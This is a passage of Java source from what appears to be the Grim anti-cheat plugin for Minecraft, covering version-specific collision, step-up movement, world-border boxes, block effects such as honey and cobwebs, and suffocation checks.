{\n                player.uncertaintyHandler.isStepMovement = true;\n                // 1.21 significantly refactored this\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21)) {\n                    SimpleCollisionBox startingOffsetBox = movingIntoGroundReal ? player.boundingBox.copy().offset(0.0, collisionResult.getY(), 0.0) : player.boundingBox.copy();\n                    SimpleCollisionBox offsetByHorizAndStepBox = startingOffsetBox.copy().expandToCoordinate(desiredX, stepUpHeight, desiredZ);\n                    if (!movingIntoGroundReal) {\n                        offsetByHorizAndStepBox = offsetByHorizAndStepBox.copy().expandToCoordinate(0.0, -1.0E-5F, 0.0);\n                    }\n\n                    final List<SimpleCollisionBox> stepCollisions = new ArrayList<>();\n                    getCollisionBoxes(player, offsetByHorizAndStepBox, stepCollisions, false);\n                    final float[] stepHeights = collectStepHeights(startingOffsetBox, stepCollisions, (float) stepUpHeight, (float) collisionResult.getY());\n\n                    for (float stepHeight : stepHeights) {\n                        Vector3dm vec3d2 = collideBoundingBoxLegacy(new Vector3dm(desiredX, stepHeight, desiredZ), startingOffsetBox, stepCollisions, order);\n                        if (getHorizontalDistanceSqr(vec3d2) > getHorizontalDistanceSqr(collisionResult)) {\n                            final double d = player.boundingBox.minY - startingOffsetBox.minY;\n                            collisionResult = vec3d2.add(new Vector3dm(0.0, -d, 0.0));\n                            break;\n                        }\n                    }\n                } else {\n                    Vector3dm regularStepUp = collideBoundingBoxLegacy(new Vector3dm(desiredX, stepUpHeight, desiredZ), player.boundingBox, desiredMovementCollisionBoxes, order);\n\n                    // 1.7 clients do not have this stepping bug fix\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_8)) {\n                        Vector3dm stepUpBugFix = collideBoundingBoxLegacy(new Vector3dm(0, stepUpHeight, 0), player.boundingBox.copy().expandToCoordinate(desiredX, 0, desiredZ), desiredMovementCollisionBoxes, order);\n                        if (stepUpBugFix.getY() < stepUpHeight) {\n                            Vector3dm stepUpBugFixResult = collideBoundingBoxLegacy(new Vector3dm(desiredX, 0, desiredZ), player.boundingBox.copy().offset(0, stepUpBugFix.getY(), 0), desiredMovementCollisionBoxes, order).add(stepUpBugFix);\n                            if (getHorizontalDistanceSqr(stepUpBugFixResult) > getHorizontalDistanceSqr(regularStepUp)) {\n                                regularStepUp = stepUpBugFixResult;\n                            }\n                        }\n                    }\n\n                    if (getHorizontalDistanceSqr(regularStepUp) > getHorizontalDistanceSqr(collisionResult)) {\n                        collisionResult = regularStepUp.add(collideBoundingBoxLegacy(new Vector3dm(0, -regularStepUp.getY() + (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14) ? desiredY : 0), 0), player.boundingBox.copy().offset(regularStepUp.getX(), regularStepUp.getY(), regularStepUp.getZ()), desiredMovementCollisionBoxes, order));\n                    }\n                }\n            }\n\n            double resultAccuracy = collisionResult.distanceSquared(bestTheoreticalCollisionResult);\n\n            // Step movement doesn't care about ground (due to 0.03)\n            if (player.wouldCollisionResultFlagGroundSpoof(desiredY, collisionResult.getY())) {\n                resultAccuracy += 1;\n            }\n\n            if (resultAccuracy < bestInput) {\n                bestOrderResult = collisionResult;\n                bestInput = resultAccuracy;\n                if (resultAccuracy < 0.00001 * 0.00001) break;\n                if (zeroCount >= 2) break;\n            }\n\n        }\n        return bestOrderResult;\n    }\n\n    private static float[] collectStepHeights(SimpleCollisionBox collisionBox, List<SimpleCollisionBox> collisions, float stepHeight, float collideY) {\n        final FloatSet floatSet = new FloatArraySet(4);\n\n        for (SimpleCollisionBox blockBox : collisions) {\n            for (double possibleStepY : blockBox.getYPointPositions()) {\n                float yDiff = (float) (possibleStepY - collisionBox.minY);\n                if (!(yDiff < 0.0F) && yDiff != collideY) {\n                    if (yDiff > stepHeight) {\n                        break;\n                    }\n\n                    floatSet.add(yDiff);\n                }\n            }\n        }\n\n        float[] fs = floatSet.toFloatArray();\n        FloatArrays.unstableSort(fs);\n        return fs;\n    }\n\n    public static boolean addWorldBorder(GrimPlayer player, SimpleCollisionBox wantedBB, List<SimpleCollisionBox> listOfBlocks, boolean onlyCheckCollide) {\n        // Worldborders were added in 1.8\n        // Don't add to border unless the player is colliding with it and is near it\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_8)) {\n            PacketWorldBorder border = player.checkManager.getCheck(PacketWorldBorder.class);\n\n            double minX = Math.floor(border.getMinX());\n            double minZ = Math.floor(border.getMinZ());\n            double maxX = Math.ceil(border.getMaxX());\n            double maxZ = Math.ceil(border.getMaxZ());\n\n            // If the player is fully within the worldborder\n            double toMinX = player.lastX - minX;\n            double toMaxX = maxX - player.lastX;\n            double minimumInXDirection = Math.min(toMinX, toMaxX);\n\n            double toMinZ = player.lastZ - minZ;\n            double toMaxZ = maxZ - player.lastZ;\n            double minimumInZDirection = Math.min(toMinZ, toMaxZ);\n\n            double distanceToBorder = Math.min(minimumInXDirection, minimumInZDirection);\n\n            // If the player's is within 16 blocks of the worldborder, add the worldborder to the collisions (optimization)\n            if (distanceToBorder < 16 && player.lastX > minX && player.lastX < maxX && player.lastZ > minZ && player.lastZ < maxZ) {\n                if (listOfBlocks == null) listOfBlocks = new ArrayList<>();\n\n                // South border\n                listOfBlocks.add(new SimpleCollisionBox(minX - 10, Double.NEGATIVE_INFINITY, maxZ, maxX + 10, Double.POSITIVE_INFINITY, maxZ, false));\n                // North border\n                listOfBlocks.add(new SimpleCollisionBox(minX - 10, Double.NEGATIVE_INFINITY, minZ, maxX + 10, Double.POSITIVE_INFINITY, minZ, false));\n                // East border\n                listOfBlocks.add(new SimpleCollisionBox(maxX, Double.NEGATIVE_INFINITY, minZ - 10, maxX, Double.POSITIVE_INFINITY, maxZ + 10, false));\n                // West border\n                listOfBlocks.add(new SimpleCollisionBox(minX, Double.NEGATIVE_INFINITY, minZ - 10, minX, Double.POSITIVE_INFINITY, maxZ + 10, false));\n\n                if (onlyCheckCollide) {\n                    for (SimpleCollisionBox box : listOfBlocks) {\n                        if (box.isIntersected(wantedBB)) return true;\n                    }\n                }\n            }\n        }\n        return false;\n    }\n\n    // This is mostly taken from Tuinity collisions\n    public static boolean getCollisionBoxes(GrimPlayer player, SimpleCollisionBox wantedBB, List<SimpleCollisionBox> listOfBlocks, boolean onlyCheckCollide) {\n        SimpleCollisionBox expandedBB = wantedBB.copy();\n\n        boolean collided = addWorldBorder(player, wantedBB, listOfBlocks, onlyCheckCollide);\n        if (onlyCheckCollide && collided) return true;\n\n        int minBlockX = (int) Math.floor(expandedBB.minX - COLLISION_EPSILON) - 1;\n        int maxBlockX = (int) Math.floor(expandedBB.maxX + COLLISION_EPSILON) + 1;\n        int minBlockY = (int) Math.floor(expandedBB.minY - COLLISION_EPSILON) - 1;\n        int maxBlockY = (int) Math.floor(expandedBB.maxY + COLLISION_EPSILON) + 1;\n        int minBlockZ = (int) Math.floor(expandedBB.minZ - COLLISION_EPSILON) - 1;\n        int maxBlockZ = (int) Math.floor(expandedBB.maxZ + COLLISION_EPSILON) + 1;\n\n        final int minSection = player.compensatedWorld.getMinHeight() >> 4;\n        final int minBlock = minSection << 4;\n        final int maxBlock = player.compensatedWorld.getMaxHeight() - 1;\n\n        int minChunkX = minBlockX >> 4;\n        int maxChunkX = maxBlockX >> 4;\n\n        int minChunkZ = minBlockZ >> 4;\n        int maxChunkZ = maxBlockZ >> 4;\n\n        int minYIterate = Math.max(minBlock, minBlockY);\n        int maxYIterate = Math.min(maxBlock, maxBlockY);\n\n        for (int currChunkZ = minChunkZ; currChunkZ <= maxChunkZ; ++currChunkZ) {\n            int minZ = currChunkZ == minChunkZ ? minBlockZ & 15 : 0; // coordinate in chunk\n            int maxZ = currChunkZ == maxChunkZ ? maxBlockZ & 15 : 15; // coordinate in chunk\n\n            for (int currChunkX = minChunkX; currChunkX <= maxChunkX; ++currChunkX) {\n                int minX = currChunkX == minChunkX ? minBlockX & 15 : 0; // coordinate in chunk\n                int maxX = currChunkX == maxChunkX ? maxBlockX & 15 : 15; // coordinate in chunk\n\n                int chunkXGlobalPos = currChunkX << 4;\n                int chunkZGlobalPos = currChunkZ << 4;\n\n                Column chunk = player.compensatedWorld.getChunk(currChunkX, currChunkZ);\n                if (chunk == null) continue;\n\n                BaseChunk[] sections = chunk.chunks();\n\n                for (int y = minYIterate; y <= maxYIterate; ++y) {\n                    int sectionIndex = (y >> 4) - minSection;\n\n                    BaseChunk section = sections[sectionIndex];\n\n                    if (section == null || (IS_FOURTEEN && section.isEmpty())) { // Check for empty on 1.13+ servers\n                        // empty\n                        // skip to next section\n                        y = (y & ~15) + 15; // increment by 15: iterator loop increments by the extra one\n                        continue;\n                    }\n\n                    for (int currZ = minZ; currZ <= maxZ; ++currZ) {\n                        for (int currX = minX; currX <= maxX; ++currX) {\n                            int x = currX | chunkXGlobalPos;\n                            int z = currZ | chunkZGlobalPos;\n\n                            WrappedBlockState data = section.get(CompensatedWorld.blockVersion, x & 0xF, y & 0xF, z & 0xF, false);\n\n                            // Works on both legacy and modern!  Faster than checking for material types, most common case\n                            if (data.getGlobalId() == 0) continue;\n\n                            // Thanks SpottedLeaf for this optimization, I took edgeCount from Tuinity\n                            int edgeCount = ((x == minBlockX || x == maxBlockX) ? 1 : 0) +\n                                    ((y == minBlockY || y == maxBlockY) ? 1 : 0) +\n                                    ((z == minBlockZ || z == maxBlockZ) ? 1 : 0);\n\n                            final StateType type = data.getType();\n                            if (edgeCount != 3 && (edgeCount != 1 || Materials.isShapeExceedsCube(type))\n                                    && (edgeCount != 2 || type == StateTypes.PISTON_HEAD)) {\n                                final CollisionBox collisionBox = CollisionData.getData(type).getMovementCollisionBox(player, player.getClientVersion(), data, x, y, z);\n                                // Don't add to a list if we only care if the player intersects with the block\n                                if (!onlyCheckCollide) {\n                                    collisionBox.downCast(listOfBlocks);\n                                } else if (collisionBox.isCollided(wantedBB)) {\n                                    return true;\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        return false;\n    }\n\n    public static Vector3dm collideBoundingBoxLegacy(Vector3dm toCollide, SimpleCollisionBox\n            box, List<SimpleCollisionBox> desiredMovementCollisionBoxes, List<Axis> order) {\n        double x = toCollide.getX();\n        double y = toCollide.getY();\n        double z = toCollide.getZ();\n\n        SimpleCollisionBox setBB = box.copy();\n\n        for (Axis axis : order) {\n            if (axis == Axis.X) {\n                for (SimpleCollisionBox bb : desiredMovementCollisionBoxes) {\n                    x = bb.collideX(setBB, x);\n                }\n                setBB.offset(x, 0.0D, 0.0D);\n            } else if (axis == Axis.Y) {\n                for (SimpleCollisionBox bb : desiredMovementCollisionBoxes) {\n                    y = bb.collideY(setBB, y);\n                }\n                setBB.offset(0.0D, y, 0.0D);\n            } else if (axis == Axis.Z) {\n                for (SimpleCollisionBox bb : desiredMovementCollisionBoxes) {\n                    z = bb.collideZ(setBB, z);\n                }\n                setBB.offset(0.0D, 0.0D, z);\n            }\n        }\n\n        return new Vector3dm(x, y, z);\n    }\n\n    public static boolean isEmpty(GrimPlayer player, SimpleCollisionBox playerBB) {\n        return !getCollisionBoxes(player, playerBB, null, true);\n    }\n\n    public static double getHorizontalDistanceSqr(Vector3dm vector) {\n        return vector.getX() * vector.getX() + vector.getZ() * vector.getZ();\n    }\n\n    public static Vector3dm maybeBackOffFromEdge(Vector3dm vec3, GrimPlayer player, boolean overrideVersion) {\n        if (!player.isFlying && player.isSneaking && isAboveGround(player)) {\n            double x = vec3.getX();\n            double z = vec3.getZ();\n\n            double maxStepDown = overrideVersion || player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_11) ? -player.getMaxUpStep() : -1 + COLLISION_EPSILON;\n\n            while (x != 0.0 && isEmpty(player, player.boundingBox.copy().offset(x, maxStepDown, 0.0))) {\n                if (x < 0.05D && x >= -0.05D) {\n                    x = 0.0D;\n                } else if (x > 0.0D) {\n                    x -= 0.05D;\n                } else {\n                    x += 0.05D;\n                }\n            }\n            while (z != 0.0 && isEmpty(player, player.boundingBox.copy().offset(0.0, maxStepDown, z))) {\n                if (z < 0.05D && z >= -0.05D) {\n                    z = 0.0D;\n                } else if (z > 0.0D) {\n                    z -= 0.05D;\n                } else {\n                    z += 0.05D;\n                }\n            }\n            while (x != 0.0 && z != 0.0 && isEmpty(player, player.boundingBox.copy().offset(x, maxStepDown, z))) {\n                if (x < 0.05D && x >= -0.05D) {\n                    x = 0.0D;\n                } else if (x > 0.0D) {\n                    x -= 0.05D;\n                } else {\n                    x += 0.05D;\n                }\n\n                if (z < 0.05D && z >= -0.05D) {\n                    z = 0.0D;\n                } else if (z > 0.0D) {\n                    z -= 0.05D;\n                } else {\n                    z += 0.05D;\n                }\n            }\n            vec3 = new Vector3dm(x, vec3.getY(), z);\n        }\n\n        return vec3;\n    }\n\n    public static boolean isAboveGround(GrimPlayer player) {\n        // https://bugs.mojang.com/browse/MC-2404\n        return player.lastOnGround || (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16_2) && (player.fallDistance < player.getMaxUpStep() &&\n                !isEmpty(player, player.boundingBox.copy().offset(0.0, player.fallDistance - player.getMaxUpStep(), 0.0))));\n    }\n\n    public static void handleInsideBlocks(GrimPlayer player) {\n        // Mojang rewrote this whole logic in 1.21.2 (see Collisions#applyEffectsFromBlocks)\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_2)) return;\n        // Use the bounding box for after the player's movement is applied\n        double expandAmount = player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19_4) ? 1e-5 : 0.001;\n        SimpleCollisionBox box = (player.inVehicle()\n                ? GetBoundingBox.getCollisionBoxForPlayer(player, player.x, player.y, player.z)\n                : player.boundingBox.copy()).expand(-expandAmount);\n\n        int minX = GrimMath.mojangFloor(box.minX);\n        int minY = GrimMath.mojangFloor(box.minY);\n        int minZ = GrimMath.mojangFloor(box.minZ);\n        int maxX = GrimMath.mojangFloor(box.maxX);\n        int maxY = GrimMath.mojangFloor(box.maxY);\n        int maxZ = GrimMath.mojangFloor(box.maxZ);\n\n        if (player.compensatedWorld.areChunksUnloadedAt(minX, minY, minZ, maxX, maxY, maxZ))\n            return;\n\n        for (int x = minX; x <= maxX; x++) {\n            for (int y = minY; y <= maxY; y++) {\n                for (int z = minZ; z <= maxZ; z++) {\n                    WrappedBlockState block = player.compensatedWorld.getBlock(x, y, z);\n                    StateType blockType = block.getType();\n\n                    if (blockType.isAir()) {\n                        continue;\n                    }\n\n                    onInsideBlock(player, player.clientVelocity, false, blockType, block, x, y, z, true);\n                }\n            }\n        }\n    }\n\n    public static void onInsideBlock(GrimPlayer player, Vector3dm clientVelocity, boolean onlyApplyVelocity, StateType blockType, WrappedBlockState block, int blockX, int blockY, int blockZ, boolean magic) {\n        PacketEntity riding = player.compensatedEntities.self.getRiding();\n        boolean stuckEntityIsLiving = riding == null || riding.isLivingEntity;\n\n        if (blockType == StateTypes.NETHER_PORTAL) {\n            player.intersectedWithNetherPortal = true;\n        }\n\n        if (!onlyApplyVelocity && blockType == StateTypes.COBWEB) {\n            if (stuckEntityIsLiving && player.compensatedEntities.hasPotionEffect(PotionTypes.WEAVING)) {\n                player.stuckSpeedMultiplier = StuckSpeed.COBWEB_WEAVING;\n            } else {\n                player.stuckSpeedMultiplier = StuckSpeed.COBWEB;\n            }\n        }\n\n        if (!onlyApplyVelocity && stuckEntityIsLiving && blockType == StateTypes.SWEET_BERRY_BUSH\n                && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n            player.stuckSpeedMultiplier = StuckSpeed.SWEET_BERRY_BUSH;\n        }\n\n        if (!onlyApplyVelocity && blockType == StateTypes.POWDER_SNOW && blockX == Math.floor(player.x) && blockY == Math.floor(player.y) && blockZ == Math.floor(player.z)\n                && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_17)) {\n            player.stuckSpeedMultiplier = StuckSpeed.POWDER_SNOW;\n        }\n\n        if (blockType == StateTypes.SOUL_SAND && player.getClientVersion().isOlderThan(ClientVersion.V_1_15)) {\n            clientVelocity.setX(clientVelocity.getX() * 0.4D);\n            clientVelocity.setZ(clientVelocity.getZ() * 0.4D);\n        }\n\n        if (!onlyApplyVelocity && blockType == StateTypes.LAVA && player.getClientVersion().isOlderThan(ClientVersion.V_1_16) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n            player.wasTouchingLava = true;\n        }\n\n        if (blockType == StateTypes.BUBBLE_COLUMN && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_13) && magic) {\n            WrappedBlockState blockAbove = player.compensatedWorld.getBlock(blockX, blockY + 1, blockZ);\n\n            if (player.inVehicle() && player.compensatedEntities.self.getRiding().isBoat) {\n                if (!blockAbove.getType().isAir()) {\n                    if (block.isDrag()) {\n                        clientVelocity.setY(Math.max(-0.3D, clientVelocity.getY() - 0.03D));\n                    } else {\n                        clientVelocity.setY(Math.min(0.7D, clientVelocity.getY() + 0.06D));\n                    }\n                }\n            } else {\n                if (blockAbove.getType().isAir()) {\n                    if (block.isDrag()) {\n                        clientVelocity.setY(Math.max(-0.9D, clientVelocity.getY() - 0.03D));\n                    } else {\n                        clientVelocity.setY(Math.min(1.8D, clientVelocity.getY() + 0.1D));\n                    }\n                } else {\n                    if (block.isDrag()) {\n                        clientVelocity.setY(Math.max(-0.3D, clientVelocity.getY() - 0.03D));\n                    } else {\n                        clientVelocity.setY(Math.min(0.7D, clientVelocity.getY() + 0.06D));\n                    }\n                }\n            }\n\n            // Reset fall distance inside bubble column\n            if (!onlyApplyVelocity) player.fallDistance = 0;\n        }\n\n        if (blockType == StateTypes.HONEY_BLOCK && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)) {\n            if (isSlidingDown(clientVelocity, player, blockX, blockY, blockZ)) {\n                if (getOldDeltaY(player, clientVelocity.getY()) < -0.13D) {\n                    double d0 = -0.05 / getOldDeltaY(player, clientVelocity.getY());\n                    clientVelocity.setX(clientVelocity.getX() * d0);\n                    clientVelocity.setY(getNewDeltaY(player, -0.05D));\n                    clientVelocity.setZ(clientVelocity.getZ() * d0);\n                } else {\n                    clientVelocity.setY(getNewDeltaY(player, -0.05D));\n                }\n            }\n\n            // If honey sliding, fall distance is 0\n            if (!onlyApplyVelocity) player.fallDistance = 0;\n        }\n    }\n\n    // Implementation of Collisions#handleInsideBlocks for >= 1.21.2\n    public static void applyEffectsFromBlocks(GrimPlayer player) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_21_2)) {\n            return;\n        }\n\n        // Reset stuck speed so it can update\n        if (player.stuckSpeedMultiplier.getX() < 0.99) {\n            player.uncertaintyHandler.lastStuckSpeedMultiplier.reset();\n        }\n\n        player.resetStuckSpeedMultiplier();\n        player.finalMovementsThisTick.clear();\n\n        Vector3d from = new Vector3d(player.lastX, player.lastY, player.lastZ);\n        Vector3d to = new Vector3d(player.x, player.y, player.z);\n\n        ClientVersion clientVersion = player.getClientVersion();\n        if (clientVersion.isOlderThan(ClientVersion.V_1_21_5)) {\n            player.finalMovementsThisTick.add(new GrimPlayer.Movement(from, to));\n        } else if (clientVersion.isNewerThanOrEquals(ClientVersion.V_1_21_5)) {\n            player.finalMovementsThisTick.addAll(player.movementThisTick);\n            player.movementThisTick.clear();\n\n            if (player.finalMovementsThisTick.isEmpty()) {\n                player.finalMovementsThisTick.add(new GrimPlayer.Movement(from, to));\n            } else if (player.finalMovementsThisTick.get(player.finalMovementsThisTick.size() - 1).to().distanceSquared(to) > 9.9999994E-11F) {\n                player.finalMovementsThisTick.add(new GrimPlayer.Movement(player.finalMovementsThisTick.get(player.finalMovementsThisTick.size() - 1).to(), to));\n            }\n        }\n\n        Collisions.resolveBlockEffects(player, player.finalMovementsThisTick);\n\n        if (player.stuckSpeedMultiplier.getX() < 0.9) {\n            // Reset fall distance if stuck in block\n            player.fallDistance = 0;\n        }\n\n        // Flying players are not affected by cobwebs/sweet berry bushes\n        if (player.isFlying) {\n            player.stuckSpeedMultiplier = StuckSpeed.NONE;\n        }\n    }\n\n    public static void resolveBlockEffects(GrimPlayer player, Vector3d from, Vector3d to) {\n        Collisions.resolveBlockEffects(player, List.of(new GrimPlayer.Movement(from, to)));\n    }\n\n    public static void resolveBlockEffects(GrimPlayer player, List<GrimPlayer.Movement> movements) {\n        resolveBlockEffects(player, player.clientVelocity, false, movements);\n    }\n\n    public static void resolveBlockEffects(GrimPlayer player, Vector3dm clientVelocity, boolean onlyApplyVelocity, List<GrimPlayer.Movement> movements) {\n        ClientVersion version = player.getClientVersion();\n        BlockEffectsResolver resolver;\n\n        if (version == ClientVersion.V_1_21_2) {\n            resolver = BlockEffectsResolverV1_21_2.INSTANCE; // 1.21.2-1.21.3\n        } else if (version == ClientVersion.V_1_21_4) {\n            resolver = BlockEffectsResolverV1_21_4.INSTANCE; // 1.21.4\n        } else if (version == ClientVersion.V_1_21_5) {\n            resolver = BlockEffectsResolverV1_21_5.INSTANCE; // 1.21.5\n        } else if (version.isNewerThanOrEquals(ClientVersion.V_1_21_6) && version.isOlderThanOrEquals(ClientVersion.V_1_21_7)) {\n            resolver = BlockEffectsResolverV1_21_6.INSTANCE; // 1.21.6-1.21.8\n        } else {\n            resolver = BlockEffectsResolverV1_21_10.INSTANCE; // 1.21.10\n        }\n\n        resolver.applyEffectsFromBlocks(player, clientVelocity, onlyApplyVelocity, movements);\n    }\n\n    private static double getOldDeltaY(GrimPlayer player, double value) {\n        return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_2) ? value / 0.98F + 0.08 : value;\n    }\n\n    private static double getNewDeltaY(GrimPlayer player, double value) {\n        return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_2) ? (value - 0.08) * 0.98F : value;\n    }\n\n    private static boolean isSlidingDown(Vector3dm vector, GrimPlayer player, int locationX, int locationY,\n                                         int locationZ) {\n        if (player.onGround) {\n            return false;\n        } else if (player.y > (double) locationY + 0.9375D - COLLISION_EPSILON) {\n            return false;\n        } else if (getOldDeltaY(player, vector.getY()) >= -0.08D) {\n            return false;\n        } else {\n            double d0 = Math.abs(locationX + 0.5D - player.lastX);\n            double d1 = Math.abs(locationZ + 0.5D - player.lastZ);\n            // Calculate player width using bounding box, which will change while swimming or gliding\n            double d2 = 0.4375D + ((player.pose.width) / 2.0F);\n            return d0 + COLLISION_EPSILON > d2 || d1 + COLLISION_EPSILON > d2;\n        }\n    }\n\n    public static boolean suffocatesAt(GrimPlayer player, SimpleCollisionBox playerBB) {\n        // Blocks are stored in YZX order\n        for (int y = (int) Math.floor(playerBB.minY); y < Math.ceil(playerBB.maxY); y++) {\n            for (int z = (int) Math.floor(playerBB.minZ); z < Math.ceil(playerBB.maxZ); z++) {\n                for (int x = (int) Math.floor(playerBB.minX); x < Math.ceil(playerBB.maxX); x++) {\n                    if (doesBlockSuffocate(player, x, y, z)) {\n                        // Mojang re-added soul sand pushing by checking if the player is actually in the block\n                        // (This is why from 1.14-1.15 soul sand didn't push)\n                        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16)) {\n                            WrappedBlockState data = player.compensatedWorld.getBlock(x, y, z);\n                            CollisionBox box = CollisionData.getData(data.getType()).getMovementCollisionBox(player, player.getClientVersion(), data, x, y, z);\n\n                            if (!box.isIntersected(playerBB)) continue;\n                        }\n\n                        return true;\n                    }\n                }\n            }\n        }\n\n        return false;\n    }\n\n    public static boolean doesBlockSuffocate(GrimPlayer player, int x, int y, int z) {\n        WrappedBlockState data = player.compensatedWorld.getBlock(x, y, z);\n        StateType mat = data.getType();\n\n        // Optimization - all blocks that can suffocate must have a hitbox\n        if (!mat.isSolid()) return false;\n\n        // 1.13- players can not be pushed by blocks that can emit power, for some reason, while 1.14+ players can\n        if (mat == StateTypes.OBSERVER || mat == StateTypes.REDSTONE_BLOCK)\n            return player.getClientVersion().isNewerThan(ClientVersion.V_1_13_2);\n        // Tnt only pushes on 1.14+ clients\n        if (mat == StateTypes.TNT)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14);\n        // Farmland only pushes on 1.16+ clients\n        if (mat == StateTypes.FARMLAND)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16);\n        // 1.14-1.15 doesn't push with soul sand, the rest of the versions do\n        if (mat == StateTypes.SOUL_SAND)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) || player.getClientVersion().isOlderThan(ClientVersion.V_1_14);\n        // 1.13 and below exempt piston bases, while 1.14+ look to see if they are a full block or not\n        if ((mat == StateTypes.PISTON || mat == StateTypes.STICKY_PISTON) && player.getClientVersion().isOlderThan(ClientVersion.V_1_14))\n            return false;\n        // 1.13 and below exempt ICE and FROSTED_ICE, 1.14 have them push\n        if (mat == StateTypes.ICE || mat == StateTypes.FROSTED_ICE)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14);\n        // I believe leaves and glass are consistently exempted across all versions\n        if (BlockTags.LEAVES.contains(mat) || BlockTags.GLASS_BLOCKS.contains(mat)) return false;\n        // 1.16 players are pushed by dirt paths, 1.8 players don't have this block, so it gets converted to a full block\n        if (mat == StateTypes.DIRT_PATH)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) || player.getClientVersion().isOlderThan(ClientVersion.V_1_9);\n        // Only 1.14+ players are pushed by beacons\n        if (mat == StateTypes.BEACON)\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14);\n\n        // Thank god I already have the solid blocking blacklist written, but all these are exempt\n        if (Materials.isSolidBlockingBlacklist(mat, player.getClientVersion())) return false;\n\n        CollisionBox box = CollisionData.getData(mat).getMovementCollisionBox(player, player.getClientVersion(), data, x, y, z);\n        return box.isFullBlock();\n    }\n\n    // Thanks Tuinity\n    public static boolean hasMaterial(GrimPlayer player, SimpleCollisionBox checkBox, @NotNull BlockAndPositionPredicate searchingFor) {\n        int minBlockX = (int) Math.floor(checkBox.minX);\n        int maxBlockX = (int) Math.floor(checkBox.maxX);\n        int minBlockY = (int) Math.floor(checkBox.minY);\n        int maxBlockY = (int) Math.floor(checkBox.maxY);\n        int minBlockZ = (int) Math.floor(checkBox.minZ);\n        int maxBlockZ = (int) Math.floor(checkBox.maxZ);\n\n        final int minSection = player.compensatedWorld.getMinHeight() >> 4;\n        final int minBlock = minSection << 4;\n        final int maxBlock = player.compensatedWorld.getMaxHeight() - 1;\n\n        int minChunkX = minBlockX >> 4;\n        int maxChunkX = maxBlockX >> 4;\n\n        int minChunkZ = minBlockZ >> 4;\n        int maxChunkZ = maxBlockZ >> 4;\n\n        int minYIterate = Math.max(minBlock, minBlockY);\n        int maxYIterate = Math.min(maxBlock, maxBlockY);\n\n        for (int currChunkZ = minChunkZ; currChunkZ <= maxChunkZ; ++currChunkZ) {\n            int minZ = currChunkZ == minChunkZ ? minBlockZ & 15 : 0; // coordinate in chunk\n            int maxZ = currChunkZ == maxChunkZ ? maxBlockZ & 15 : 15; // coordinate in chunk\n\n            for (int currChunkX = minChunkX; currChunkX <= maxChunkX; ++currChunkX) {\n                int minX = currChunkX == minChunkX ? minBlockX & 15 : 0; // coordinate in chunk\n                int maxX = currChunkX == maxChunkX ? maxBlockX & 15 : 15; // coordinate in chunk\n\n                int chunkXGlobalPos = currChunkX << 4;\n                int chunkZGlobalPos = currChunkZ << 4;\n\n                Column chunk = player.compensatedWorld.getChunk(currChunkX, currChunkZ);\n\n                if (chunk == null) continue;\n                BaseChunk[] sections = chunk.chunks();\n\n                for (int y = minYIterate; y <= maxYIterate; ++y) {\n                    BaseChunk section = sections[(y >> 4) - minSection];\n\n                    if (section == null || (IS_FOURTEEN && section.isEmpty())) { // Check for empty on 1.13+ servers\n                        // empty\n                        // skip to next section\n                        y = (y & ~(15)) + 15; // increment by 15: iterator loop increments by the extra one\n                        continue;\n                    }\n\n                    for (int currZ = minZ; currZ <= maxZ; ++currZ) {\n                        for (int currX = minX; currX <= maxX; ++currX) {\n                            int x = currX | chunkXGlobalPos;\n                            int z = currZ | chunkZGlobalPos;\n\n                            WrappedBlockState data = section.get(CompensatedWorld.blockVersion, x & 0xF, y & 0xF, z & 0xF, false);\n\n                            if (searchingFor.test(data, x, y, z))\n                                return true;\n                        }\n                    }\n                }\n            }\n        }\n        return false;\n    }\n\n    // Thanks Tuinity\n    public static void forEachCollisionBox(@NotNull GrimPlayer player, @NotNull SimpleCollisionBox checkBox, @NotNull BlockAndPositionConsumer searchingFor) {\n        int minBlockX = (int) Math.floor(checkBox.minX - COLLISION_EPSILON) - 1;\n        int maxBlockX = (int) Math.floor(checkBox.maxX + COLLISION_EPSILON) + 1;\n        int minBlockY = (int) Math.floor(checkBox.minY - COLLISION_EPSILON) - 1;\n        int maxBlockY = (int) Math.floor(checkBox.maxY + COLLISION_EPSILON) + 1;\n        int minBlockZ = (int) Math.floor(checkBox.minZ - COLLISION_EPSILON) - 1;\n        int maxBlockZ = (int) Math.floor(checkBox.maxZ + COLLISION_EPSILON) + 1;\n\n        final int minSection = player.compensatedWorld.getMinHeight() >> 4;\n        final int minBlock = minSection << 4;\n        final int maxBlock = player.compensatedWorld.getMaxHeight() - 1;\n\n        int minChunkX = minBlockX >> 4;\n        int maxChunkX = maxBlockX >> 4;\n\n        int minChunkZ = minBlockZ >> 4;\n        int maxChunkZ = maxBlockZ >> 4;\n\n        int minYIterate = Math.max(minBlock, minBlockY);\n        int maxYIterate = Math.min(maxBlock, maxBlockY);\n\n        for (int currChunkZ = minChunkZ; currChunkZ <= maxChunkZ; ++currChunkZ) {\n            int minZ = currChunkZ == minChunkZ ? minBlockZ & 15 : 0; // coordinate in chunk\n            int maxZ = currChunkZ == maxChunkZ ? maxBlockZ & 15 : 15; // coordinate in chunk\n\n            for (int currChunkX = minChunkX; currChunkX 